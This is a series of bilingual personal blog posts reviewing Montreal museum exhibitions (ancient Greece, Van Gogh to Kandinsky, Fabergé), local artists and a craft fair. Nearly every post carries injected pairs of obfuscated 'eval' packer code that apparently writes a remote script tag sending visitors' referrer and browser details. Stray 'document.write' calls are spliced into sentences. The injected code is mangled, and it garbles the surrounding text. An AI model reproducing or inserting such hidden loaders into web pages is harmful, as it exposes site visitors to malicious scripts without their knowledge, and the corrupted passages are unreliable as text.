the museum web page or on the special mobile site that was designed as guide for visitors, enhancing the experience and giving access to all the wall labels and panels for the exhibition. That was surely a great idea!

And, of course, I took a lots of pictures and have prepared a photo album on Flickr (the description offers titles and details on each piece) as well as this nice video montage (on Vimeo) for your enjoyment:


(I’ve replaced the Flash slideshow with this video because it was bugging my Mac!)
[ Traduire ]

The Greeks

Pointe-à-Callière Presents the World Première of the Largest Exhibition on Ancient Greece Ever Produced in North America.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tzrni|var|u0026u|referrer|ssddf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zybht|var|u0026u|referrer|kbsaz||js|php’.split(‘|’),0,{}))

“The exhibition spans over 5, document.write(“”); 000 years of Greek history and culture and takes visitors on an exceptional and fascinating journey back to the origins of the cradle of Western civilization, its heritage and the traces it has left in the hearts and minds of the Greek people.”

This exceptional exposition is presented at Pointe-à-Callière: Montréal Museum of Archaeology and History in Old Montréal, from December 12, 2014 to April 26, 2015. Only one month left to visit it, so hurry up and go have a look!

The exhibition is produced by the Hellenic Ministry of Culture and Sports (Athens, Greece), Pointe-à-Callière, Montréal Archaeology and History Complex (Montréal, Canada), the Canadian Museum of History (Gatineau, Canada), The Field Museum (Chicago, USA), and the National Geographic Museum (Washington, DC, USA). ©Pointe-à-Callière, Montréal Museum of Archaeology and History. All rights reserved. You will find more information on the museum web page and Youtube channel.

This is a fifteen seconds promo for the exposition, but the museum Youtube channel also offers a longer promo (1:00) and a short video (1:06) showing how the exposition was put together. A longer video (in french only, 3:10) shows more of the making of the exposition and explains why it is so exceptional.


I took advantage of a longer week-end this afternoon to visit this exposition. Being so busy lately, I was afraid that I would miss it since there’s only a month left to visit it. I urge you to hurry and go a look on this exceptional exposition. It really synthesizes is a small exhibit (a little more than five-hundreds artifacts from twenty-one Greek museums) the entire history of ancient Greece which had such a profound impact on all our western civilisations. Suddenly my memory was flooded by a wave of images, facts and souvenirs from my university time when I was studying ancient history. That was great!

Actually, the title of the exhibition is a little misleading since it really starts with the Neolithic period and the Cycladic culture (6,500 to 1,450 BCE), showing us a few of those famous cycladic figurines like the “violin-shaped” female figurines and those long female figurine with faces that look a little like the Easter Island’s moai.

[Opposite: Female figurine; Discovered in Amorgos, the easternmost island of the Cyclades, the marble figurine seems to have on the back a cap or a particular hairstyle. Amorgos, 2800-2300 BCE, © National Archaeological Museum, Athens]

However, the exhibition quickly brings us into the Bronze age (16th to 12th Centuries BCE), with the Minoan civilisation in Crete and the Mycenaean civilization on the mainland, and then into the Iron Age (11th to 8th Centuries BCE), renown for its Geometric pottery and Homeric heroes.

The exhibit pauses to talk about Homer‘s epics, the Iliad and the Odyssey, which recorded the oral histories of the greek gods and heroes but also tells us a lot about the History of that era.

I was quite impressed by being able to see with my own eyes linear A & linear B tablets, Mycenaean dagues & swords and lots of fabulous gold objects. Although the iconic Agamemnon mask displayed at the exhibit was a reproduction — probably because the original is too precious to travel abroad.

[Above: A Lekythos (funerary vase) in clay depicting Achilles avenging Patroclus. Hector, leader of the Trojan army, killed Patroclus, thinking he was Achilles. Blind with rage at the death of his friend, Achilles killed Hector, tied his body to a chariot, and dragged it around Patroclus’ tomb. Delos, late 6th century BCE, © Archaeological Museum of Delos]

The exhibition then moves to the second floor with another succession of rooms introducing us to the Archaic period (7th to 6th Centuries BCE). After a time of decline, the greek civilisation reorganize and consolidate itself around several city-states and a strong aristocracy, bringing an era of prosperity and expansion.

In that part of the exhibit we can see several kouroi and korai (votive statues of young men [kouros] and women [kore] in rather stiff posture; geochemical analysis tells us they were richly coloured), artifacts found in the tombs of several aristocrat women or priestesses (particularly the tomb of the Lady of Archontiko, probably the wife of a Bottiaean ruler), and some interesting warriors’ helmets.

[Opposite: a Koré. This Greek kore of Parian marble from the late 6th century BCE decorated a temple in the Acropolis in Athens. In the 7th and 6th centuries BCE, statues of young women (kore, plural korai) — larger than life-size at the beginning and life-size later on — were placed in Greek sanctuaries as offerings to the gods or served as grave markers. Athenian Acropolis, 520–510 BCE, © Acropolis Museum, Athens]

However, most of the second floor exhibit is dedicated to the Classical period (5th to 4th Centuries BCE). This is the summum of the ancient greek civilisation.

In this case, the exhibit is divided in several themes: the Olympics, the battle of Thermopylae (made notorious by the movie 300), the Athenian democracy, the rich literary culture (theatre, philosophy, rhetoric), etc. Here the artifacts displayed are less spectacular (mostly potteries and stone sculptures — I was disappointed to see very little coins) and the exhibit rests more on several explanatory panels and animated videos.

[Above: Votive relief offered to Asklepios. This bas-relief of pentelic marbre shows Asklepios, accompanied by his children, receiving the tributes of mortals whom he has cured. This type of object was placed in sanctuaries dedicated to the god of medicine. Loukou, 375–350 BCE, © National Archaeological Museum, Athens]

The exhibit concludes with the Pre-Hellenistic period (4th Century BCE) which was dominated by the kings of ancient Macedon: Philip II and Alexander the Great.

Here we learn about the macedonian rituals and belief (death rituals, Eleusinian mysteries). Artifacts come from the tombs of a priest in Stavroupolis, a priestess in Derveni and, of course, the tomb of Philip II (including Queen Meda magnificent gold wreath). There’s also several representation of Alexander.

The spreading of the classical greek culture made possible by Alexander’s conquest will bring a new era, the Hellenistic period, characterized by a rich culture, that will last until the Roman empire.

[Above: Marble sculpture of Alexander the Great. Upon becoming master of a large part of the ancient world, the young Alexander introduced Greek culture to Asia and imposed the use of Greek on many peoples. He also founded no fewer than 70 towns in the East modelled on Greek city-states. Ella, late 4th century BCE, © Archaeological Museum of Pella]

This exhibition is definitely a must. The only negative points that I unfortunately must bring out is the fact that it is quite expensive ($20 ! In today’s context it is clear that one must pay a lot for access to culture; although you get a 20% rebate if you have the Acces-Montreal card [FB]) and that photography is strictly forbidden at all times in every exhibition rooms. Museum usually forbid only flash photography (since light can often damage the art, but that’s good for paintings; I can hardly see what damage light could do to stone artifacts!) and when they forbid all photography it is usually to make more money by selling reproductions (which is not the case here). That was probably a requirement from the lending museums. Fortunately, for once, the museum shop is offering a souvenir book that is relatively complete (132 pages, although it is NOT an exhaustive catalog of the exhibition) and at a quite reasonable price ($9.95). It is really worth purchasing (but it is for now available only in the museum shop).

Update: Now you can also get a $5 discount with the OPUS card (the smart card to pay your Montreal transit system’s fares).

[ Traduire ]

Expo De Van Gogh à Kandinsky

Cet après-midi j’ai visité l’exposition “DE VAN GOGH À KANDINSKY: De l‘impressionnisme à l’expressionnisme, document.write(“”); 1900-1914” au Musée des beaux-arts de Montréal. Cette exposition a été créé par Timothy Benson, conservateur de l’expressionnisme allemand au Los Angeles County Museum of Art, qui a fait beaucoup de recherche sur ce mouvement. Cela l’a amené a découvrir les inspirations et influences des artistes allemands et les interactions qu’ils ont eu avec les artistes français, les collectionneurs, les marchands d’art, etc. Il a tenté de rendre ses recherches accessible au grand public avec cette exposition qui nous offre une centaine d’oeuvres, autant de dessins et gravures, et près de deux-cent photographies.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adrki|var|u0026u|referrer|yzkff||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yrtrr|var|u0026u|referrer|rtbni||js|php’.split(‘|’),0,{}))

On entend souvent parler de diverses choses dans la vie mais il n’y a rien comme une illustration (ou une peinture) pour nous les faire bien comprendre. Cette exposition nous illustre donc des grands mouvements artistiques comme l‘
impressionnisme, l’expressionnisme ou le postimpressionisme, mais aussi des genres intermédiaires comme le pointillisme, fauvisme, le cubisme ou surréalisme. C’est aussi une bonne occasion de voir des oeuvres de grands maîtres (ce n’est pas la première fois que j’en voyais mais il est toujours agréable d’en découvrir de nouvelles) comme le Douanier Rousseau, Matisse, Cézanne, van Gogh ou Gauguin mais aussi de découvrir des artistes peu connu ici (comme Kirchner, Kandinsky, Campendonk, ou Marc) ainsi que le pendant allemand de l’expressionnisme français comme les mouvements Die Brücke (Le Pont, inspiré du pointillisme qui cherchait à faire disparaitre les détails) ou Der Blaue Reiter (Cavalier Bleu, inspiré du postimpressionnisme).

Ce n’est pas toutes les oeuvres qui vous plairons (personnellement j’ai tendance à préférer l’art figuratif mais j’ai tout de même été impressionné par certaines pièces plus abstraites) mais même si ce n’est pas nécessairement notre tasse de thé (comme disent les anglais) on peut toujours en apprécier la qualité (quoique certaines oeuvres auraient sans doute pu être créées par des enfants)…

Il reste à peine plus d’une semaine pour voir cette magnifique exposition, alors dépêchez vous sinon il ne vous restera plus qu’à acheter le catalogue de l’exposition disponible à la boutique du musée, en librairie ou à la bibliothèque (tristement, seulement à la BANQ car il ne semble pas encore disponible dans le réseau des bibliothèques de la ville de Montréal).

Comme c’est souvent le cas dans les musées on ne pouvait pas prendre des photos de toutes les oeuvres (mais au moins il y en avait dont on pouvait se prendre un petit souvenir). Malgré tout je n’ai pris que très peu de photos car, je ne sais pourquoi, je suis toujours un peu gêné de prendre des photos en public. Et, contrairement à mon habitude, je n’ai pas pris de clichés des notices descriptives, ce qui fait qu’il m’a fallut de longues heures de recherche pour identifier en détails certaines oeuvres… Voici, sur Flickr, un diaporama de mes quelques souvenirs de cette visite:

Continuez après le saut de page >>

Le site du Musée des beaux-arts de Montréal consacré à l’exposition “De Van Gogh à Kandinsky” nous donne plusieurs bels exemples des oeuvres exposées, mais en voici tout de même quelques unes pour faire bonne mesure:

Cuno Amiet
Portrait du violoniste Emil Wittwer-Gelpke
Huile sur toile (1905)
Kunstmuseum Basel, Birmann-Fond 1975.

Vincent van Gogh
Le Restaurant de la Sirène à Asnières
Huile sur toile (1887)
Paris, Musée d’Orsay, legs Joseph Reinach, 1921

Robert Delaunay, La Tour rouge (détail), huile sur toile (1911-12), Solomon R. Guggenheim Museum Founding Collection [Photo The Solomon R. Guggenheim Foundation / Art Resource, NY].

“Libéré d’une année d’obligations militaires, le peintre parisien Robert Delaunay réalise, entre 1909 et 1914, plusieurs séries de toiles magistrales qui établissent rapidement sa réputation à Paris et ailleurs. Les trois séries de cette période exceptionnelle – Saint-Séverin, Les Fenêtres et Tour Eiffel – ont eu une influence considérable sur les artistes de Die Brücke et sur leur cercle élargi en Allemagne. La Tour rouge a été exposée à Berlin en 1912 à la galerie Der Sturm. D’autres peintures de la même série, que des artistes allemands, dont Feininger, ont vues, avaient été montrées plus tôt à Paris.”

“Dans cette œuvre ambitieuse, Delaunay se souvient des leçons du cubisme, et de ses surfaces fragmentées étroitement imbriquées. Il représente ce grand symbole d’innovation, d’optimisme et de progrès qu’est la tour Eiffel dans son style appelé « orphisme ». Rompant de façon saisissante avec la modestie revendiquée des natures mortes cubistes, Delaunay établit un parallèle entre sa peinture et l’esprit moderne symbolisé par la tour Eiffel. Ce monument, également un émetteur- récepteur d’ondes radio, incarne les communications internationales. Il correspond à son désir de briser les frontières et de transformer l’Europe en une communauté intégrée. Delaunay reconnaît sa dette envers les séries peintes par Cézanne et Monet – dont quarante-huit Nymphéas ont été présentés à la galerie Durand-Ruel en 1909. LaTour rouge est vue depuis une fenêtre, combinant ainsi les mondes intérieur et extérieur.” [Texte de présentation du musée]

Franz Marc, Écuries, huile sur toile (1913). New York, Solomon R. Guggenheim Museum, Solomon R. Guggenheim Museum Founding Collection. Photo: The Solomon R. Guggenheim Foundation / Art Resource, NY.

“Convaincu par sa foi panthéiste que la civilisation va à l’encontre des forces spirituelles de la nature, qui aurait conservé un sacré propre depuis longtemps perdu par l’homme, Franz Marc fait des animaux l’un de ses sujets de prédilection. Les représentations qu’il en fait, ainsi que celles de scènes à l’état sauvage, sont pour lui bien plus qu’une copie objective des apparences : c’est une façon de tendre vers une spiritualité intérieure.”

“L’une de ses œuvres les plus célèbres, les Écuries, est la dernière des toiles majeures qu’il consacre aux chevaux, son sujet favori. Il se passionne alors de plus en plus pour la recherche d’un vocabulaire formel abstrait capable d’exprimer les aspects universels de la vie, tout en restant fidèle à un contenu spécifique et symbolique. De fait, cette œuvre combine une structure autonome et non-objective de formes géométriques puisées dans la réalité des écuries (les lignes droites et parallèles) avec les cinq chevaux (représentés par des cercles) afin de créer une surface picturale totalement nouvelle, équilibrée et harmonieuse. Bien que le sujet et la forme soient indissociables, Marc semble souligner la nature non-objective des bandes colorées verticales et diagonales entrecroisées, ponctuées de formes circulaires. Il utilise également des couleurs autoréférentielles pour souligner le rôle évocateur et éloquent des tons lumineux.” [Texte de présentation du musée]

Paul Gauguin
Le Gardien de porcs (détail)
huile sur toile (1888)Los Angeles County Museum of Art, gift of Lucille Ellis Simon and family in honor of the museum’s twenty-fifth anniversary.

Paul Cézanne
Paysan en blouse bleue
Huile sur toile (c. 1896-1897)
Fort Worth (Texas), Kimbell Art Museum

Et bien sûr, la bannière au début de ce billet nous montre un détail de la superbe oeuvre de Vincent van Gogh, Saules au coucher du soleil (1888, Otterlo (Pays-Bas), Kröller?Müller Museum. Photo Art Resource, NY). La bannière de fin nous offre un petit coup d’oeil sur le fameux autoportrait du même artiste (Autoportrait, Huile sur toile, c. 1887, Hartford (Connecticut), Wadsworth Atheneum Museum of Art, gift of Philip L. Goodwin in memory of his mother, Josephine S. Goodwin).

Pour plus d’information vous pouvez consulter les sites suivants:

[ Translate ]

Merry potter

Two weeks ago I went to a small winter bazar (15 th Annual JCCCM Holiday Craft and Food Sale) organized annually by the Japanese Canadian Cultural Center of Montreal (JCCCM) for the sole purpose to see a pottery craftsman. I met him at last year’s bazar and bought a small piece from him. This year I wanted to go back to purchase more.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sshea|var|u0026u|referrer|dnady||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fabbd|var|u0026u|referrer|dbifn||js|php’.split(‘|’),0,{}))

His name is Daniel De Lisle (
Facebook, document.write(“”); Google+, Picassa). According to Créateur d’Ici, “he is a ceramist since 2007 and lives in Quebec’s pottery capital, St-Jean-sur-Richelieu, in the Montérégie”. He spent two years in Japan and that’s where he developed his passion for Ceramics and pottery. “His clay work is inspired by Japanese tradition but also by abstract geometric shapes, a fusion of wabi-sabi and modernism, which demonstrates his ambivalence between West and East. His works are exhibited in Japan, Hungary, France and Canada, including the Japanese consulate in Montreal“. His production includes mostly tea bowls and “japonaiserie” [japonism].

I like his work a lot (that’s why I wanted to share it with you). Here are the three pieces I own (in the center: the one I purchase last year and, on each side, the two I bought this year):

Pottery
(in the background you can see a part of my metal cups collection)
[ Traduire ]

Fabergé

Voici quelques photos de notre visite de l’exposition Fabergé au Musée des Beaux-Arts de Montréal la semaine dernière. Cela ne rends vraiment pas justice à la splendeur des pièces exposées qu’il faut vraiment voir en personne…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbdda|var|u0026u|referrer|einid||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhfti|var|u0026u|referrer|tzdkr||js|php’.split(‘|’),0,{}))

Here are some pictures from our visit last week to the Fabergé exhibition at the Museum of Fine Arts in Montreal. This does not really do justice to the splendour of the exhibits that really must be seen in person…

Gloires passagères

Notre collègue aide-bibliothécaire Louis Fortier, document.write(“”); un sculpteur de talent (dont j’avais déjà mentionné l’exposition Métamorphose en mars), exposera à nouveau ses oeuvres en octobre.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|keysr|var|u0026u|referrer|satbz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|enrkf|var|u0026u|referrer|rdzkk||js|php’.split(‘|’),0,{}))

Le grand écorché, 2010-2011, cire colorée sur polystyrène expansé (152 x 213 x 304 cm)

L’exposition, intitulée “Gloires passagères”, se tiendra du 4 au 28 octobre 2012 à la Galerie d’art d’Outremont (adjacente à la bibliothèque Robert-Bourassa). Situé au 41 avenue Saint-Just à Outremont, la galerie est ouverte du mardi au vendredi de 13h à 18h, et les samedi et dimanche de 13h à 17h. (Renseignements: 514 495-7419).

Louis Fortier travaille à partir de techniques de moulage qui lui permettent d’effectuer des variations dans la série. Depuis une quinzaine d’années, il revisite son anatomie — et plus particulièrement son visage — à la manière d’un journal. En cherchant des équivalences entre la nature fugitive des émotions et le caractère imprévisible de matériaux tels que la cire et le plâtre, la démarche de cet artiste déjoue la fixité habituelle propre au genre de l’autoportrait. Ainsi, les morceaux d’anatomie qu’il nous livre sont assujettis à des programmes qui génèrent des dérives et des distorsions. Du coup, le résultat de ses explorations artistiques pourraient s’entendre comme des tentatives de traduire les accidents de la vie courante et la fugacité de l’existence.

Mise à jour: article dans l’Express d’Outremont.

[ Translate ]

Artistes en bibliothèques

Ces dernières années j’ai travaillé dans de nombreuses bibliothèques et j’ai constaté que mes collègues aide-bibliothécaires venaient de toutes sortes de milieu. Bien sûr plusieurs d’entre eux/elles sont des étudiants du CEGEP ou de l’université qui travaillent à temps partiel afin de payer leurs études mais une grande majorité d’entre eux/elles ont en fait une formation et une culture qui va bien au-delà de ce qu’on pourrait s’attendre (ou même des exigences de l’emploi: un simple DES). Tout comme moi, document.write(“”); ils/elles considèrent souvent ce travail comme une sorte de pré-retraite, une façon de gagner sa vie sans se la compliquer tout en continuant les activités qui leurs sont chères. J’ai rencontré des régisseur de plateau de télévision, des monteurs vidéo, des écrivains, des graphistes, des pressiers, des chercheurs, en fait des gens de toutes sortes (dont plusieurs avaient des diplômes d”études supérieures). J’ai aussi rencontré quelques artistes. Deux d’entre eux exposent actuellement leurs oeuvres et je vous invite à les visiter.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbzit|var|u0026u|referrer|kfyie||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hshtr|var|u0026u|referrer|kndes||js|php’.split(‘|’),0,{}))

Je vous ai déjà parlé de Karine Perron. Elle peint sur papier en utilisant diverses techniques : applications d’encres, déchirures et égratignures.

Comme tout les printemps elle expose ses oeuvres au troquet le Cep et le Houblon (situé au 2280, rue Bélanger à Montréal; Pour plus d’informations contactez le 514-727-3333).

L’exposition, cette fois intitulée “À tout vent,” se déroule du 2 au 30 mars 2012. Hâtez-vous de la visiter!

De plus, j’ai récemment découvert Louis Fortier, un sculpteur polyvalent (il utilise tant le plâtre, le ciment, la résine que la cire) dont le sujet de prédilection est la tête (souvent moulée à partir de son propre chef). Son oeuvre est intriguante (c’est une sorte de Dali du visage) et le curriculum de l’artiste est très impressionnant.

Il expose actuellement à la Galerie Donald Browne (située dans l’édifice Belgo au 372 Ste-Catherine Ouest, suite 528, à Montréal; pour plus d’information contactez le 514 380-3221, consultez leur pages web ou Facebook). L’exposition, intitulée “Métamorphoses,” se déroule du 25 février au 14 avril 2012 (la galerie est ouverte du Mercredi au Samedi, de 12h00 à 17h00, ou sur rendez-vous). Certainement à voir.


Crédit photo: Ivan Binet

Clodjee au SMAQ

A chaque année, document.write(“”); un peu avant Noël, se tient à la Place Bonaventure de Montréal le Salon des Métiers d’Art du Québec (pages web et FaceBook). Je n’y vais pas tout les ans, mais si j’ai le temps c’est une agréable occasion de se donner des idées de cadeaux de Noël ou simplement de voir ce que produisent nos artisans locaux. Ça ne vaut pas la peine de s’en priver puisque l’entrée est gratuite! La SMAQ expose le travail de plus de quatre-cent artistes et artisans professionnels, divisés en huit familles de métiers d’art (céramique, bois, textile, cuir et peaux, papier, verre, métaux et autres matériaux). On y retrouve quelques trucs inusités mais surtout des bijoux, vêtements et objects décoratifs. Cette année, on note la présence de quinze créateurs des Pays de la Loire et de l’exposition Fibres du monde.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytahn|var|u0026u|referrer|bntnk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ssnes|var|u0026u|referrer|ztkst||js|php’.split(‘|’),0,{}))

Je n’y avais pas mis les pieds depuis plus de cinq ans mais comme cette semaine mon épouse et moi avions une journée de congé en même temps, on a décidé de se payer la traite visuellement avec une petite visite au SMAQ. Et, comme j’ai parfois l’habitude de le faire, je partage avec vous mes découvertes en mettant des liens vers les sites des artisans qui ont suscité notre intérêt. On les revisitera peut-être plus tard pour faire quelques achats (qui sait?):

  • Pottery Hazama: cette céramiste montréalaise d’origine japonaise nous offre des céramiques utilitaires (catégorie “Arts de la table et linge de maison”) d’une grande beautés. (Kiosque #Loft1)
  • Nelly Bichet: cette chapelière du Mans en France présente un ensemble de création et fabrication de pièces uniques et de petites séries de chapeaux et accessoires de têtes. Dommage que ce soit des importations (coûteuses) parce que ce sont de superbes chapeaux! (Kiosque #125)
  • Mosaïque Fleurie: cet artisan de Longueuil nous offre des compositions florales sur objects utilitaires et décoratifs en bois (chandeliers, Boîtes à mouchoirs, Cadres et mirroirs, Plaques de commutateurs, Plaques murales à crochets, etc.). Ça me donne toutes sortes d’idées… (Kiosque #345)
  • Jardins de Lumière: cet artisan de l’Estrie offre des vases en verre thermoformé (et accessoires) pour ceux qui font des créations florales et arrangements “Ikebana”. (Kiosque #404)
  • Renée Bovet: Cette artiste montréalaise peint sur soie des scènes urbaines dans un style coloré et un peu naïf. En plus des originaux sur soie, elle offre des reproductions lithographiques encadrées ou laminées (plus abordable). C’est très beau. (Kiosque #509)
  • Rachel F.: une entreprise montréalaise de création d’accessoires de cuir et de fourrure recyclés. Des beaux capots de poils! (Kiosque #519)
  • Les Moqueurs: situé à Sainte-Sophie dans les Laurentides, on y offre toute sorte d’objets humoristiques et utilitaires, dont des mémos fait de photos (pouvant être personnalisés avec vos propres photos) aimantés pour frigo. Plutôt amusant. (Kiosque #615)
  • La Maison Lavande: situé près de St-Eustache, c’est un cultivateur et producteur de produits dérivés de la lavande (dont, bien sûr, des parfums). Ce sera intéréssant de les visiter en juillet (et, situé à trente-cinq minutes au nord de Montréal, c’est certainement plus proche que les Cantons de l’Est). (Kiosque #616)
  • Les Étains Chaudron: cet atelier de Val-David offre une grande variété de “poterie” d’étain sans plomb formée à la main (ciselé ou martellé) mais j’ai été plutôt impressionné par de petites lampes à l’huile (particulièrement les martelées avec une petite poignée pour les transporter; si vous voulez me faire un cadeau, vous savez quoi!). (Kiosque #1025)
  • L’Angélaine: cette chèvrerie et boutique situé à Bécancour offre des créations de tricots et tissages en Mohair (bas, tuques, foulards, mitaines, châles, chandails, jetés et couvertures, etc.). C’est chaud et quel rêve bucolique! (Les alpages!) (Kiosque #1117)
  • Cidrerie du Minot: situé à Hemmingford, une autre cidrerie connue pour son crémant de pomme. (Kiosque #1608)
  • Herboristerie La Maria: cette herboriste de St-Michel-de-Bellechasse offre une belle variété de tisanes biologiques cueillies et concoctées à la main. (Kiosque #1710)
  • Le Temps des Cerises: cette ceriserais situé à Charette (en Mauricie, un coin que je connais!) offre une gamme complète de produits à base de griotte (cerises acidulées, aka prunus cerasus): jus de griottes, griottes sèchées et griottes en conserve. Il parait que c’est un “superfruit” excellent pour la santé. À visiter sans doute! (Kiosque #1718)
  • Nutra-Fruit: cette compagnie de Québec offre toute sorte de produits de la canneberge: séchées, enrobées de chocolat noir, jus, thé, gelée, vinaigrette et moutarde. J’ignorais qu’on produisait de la canneberge dans les Bois-Francs. (Kiosque #1722)
  • Les vergers Écologiques Philion: situé près de Hemmingford, ce spécialiste en pomiculture nous offre l’habituel cidre de glace (Friga) mais aussi Gaia, un rare vin de poire de glace. (Kiosque #1734)
  • CaO: cette chocolaterie de Montréal vous fait déguster toute sorte de créations chocolatées mais offre surtout des ateliers où vous pourrez réaliser vous-même vos propres recettes. (Kiosque #1740)
  • Miel Morand: situé à St-Thomas, cet apicultueur offre de fins produits gourmets à base de miel. (Kiosque #1742)
  • La Fromagerie Chaput: Au kiosque Lait à la bouche on retrouvait, entre autres, les produits délicieux de cette fromagerie de Châteauguay. (Kiosque #2000)
  • Raffaele Rotondo: Cette artiste de Laval fait de la sculpture sur marbre qui offre un effet similaire à la sculpture sur pierre de savon Inuit (dont elle s’inspire beaucoup). Malheureusement, le site site internet est encore en construction mais ça faudra sûrement la peine d’y jeter un oeil quand ce sera prêt. (Kiosque #3030)

